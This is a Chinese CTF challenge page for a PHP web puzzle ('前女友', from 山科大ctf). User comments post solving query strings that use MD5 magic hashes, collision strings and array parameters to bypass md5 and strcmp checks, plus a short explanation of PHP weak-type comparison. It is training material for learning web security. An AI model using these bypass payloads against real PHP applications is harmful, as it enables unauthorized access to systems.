前女友WEB 未解决

分数: 30 金币: 3
题目作者: 未知
一　　血: chounana
一血奖励: 2金币
解　　决: 6183
提　　示:
描　　述:
来源 山科大ctf
...
登录回复
评论
2686213396 5月前
举报

hash碰撞+strcmp绕过

回复 0
iNMB 5月前
举报

?v1=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&v2=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&v3[]=test

回复 1
ahco 5月前
举报

v1[]=123&v2[]=234&v3=flag{*******}

回复 0
zhuizhui 5月前
举报

md5绕过和strcmp漏洞 strcmp漏洞：一个数组一个字符串也返回0

回复 0
xlogsrc 6月前
举报

?v1[]=a&v2[]=b&v3[]=c

回复 0
lordinglord 7月前
举报

http://117.72.52.127:19197/index.php?v1=QNKCDZO&v2=240610708&v3[]=a

回复 0
emm不取名字了 7月前
举报

flag{*****}

回复 0
3344 8月前
举报

flag{**********}

回复 0
Arya32f 8月前
举报

/?v1=QNKCDZO&v2=240610708&v3[]=1或者/?v1[]=1&v2[]=2&v3[]=1

回复 0
HK1ng 8月前
举报

首先CTRL＋U查看源码，发现存在超链接，点击进去之后，代码审计，第一关是md5弱类型比较，然后用了strcmp()函数进行弱类型比较，直接传一个数组，PHP 8.0 前 strcmp() 会返回 null，加上取反，直接绕过。

回复 3

WriteUp

image
harry

3 金币

立即查看

评分(14)

解题动态

1nfinix 攻破了该题 4小时前
BLX123 攻破了该题 8小时前
xjn12 攻破了该题 10小时前
sdxsdxl 攻破了该题 11小时前
ding0520 攻破了该题 1天前
lancertyk 攻破了该题 1天前
1293273679 攻破了该题 1天前
zdabajfk 攻破了该题 1天前
Oliver23 攻破了该题 1天前
liberator 攻破了该题 1天前
木木夕 攻破了该题 1天前
ctfcaiji9527 攻破了该题 1天前
rainmoon 攻破了该题 2天前
anke 攻破了该题 2天前
有点易斯但不多 攻破了该题 2天前
linatiny 攻破了该题 2天前
aboic 攻破了该题 2天前
竹海赏云 攻破了该题 2天前
16673465983 攻破了该题 3天前
crayon666 攻破了该题 3天前
问题反馈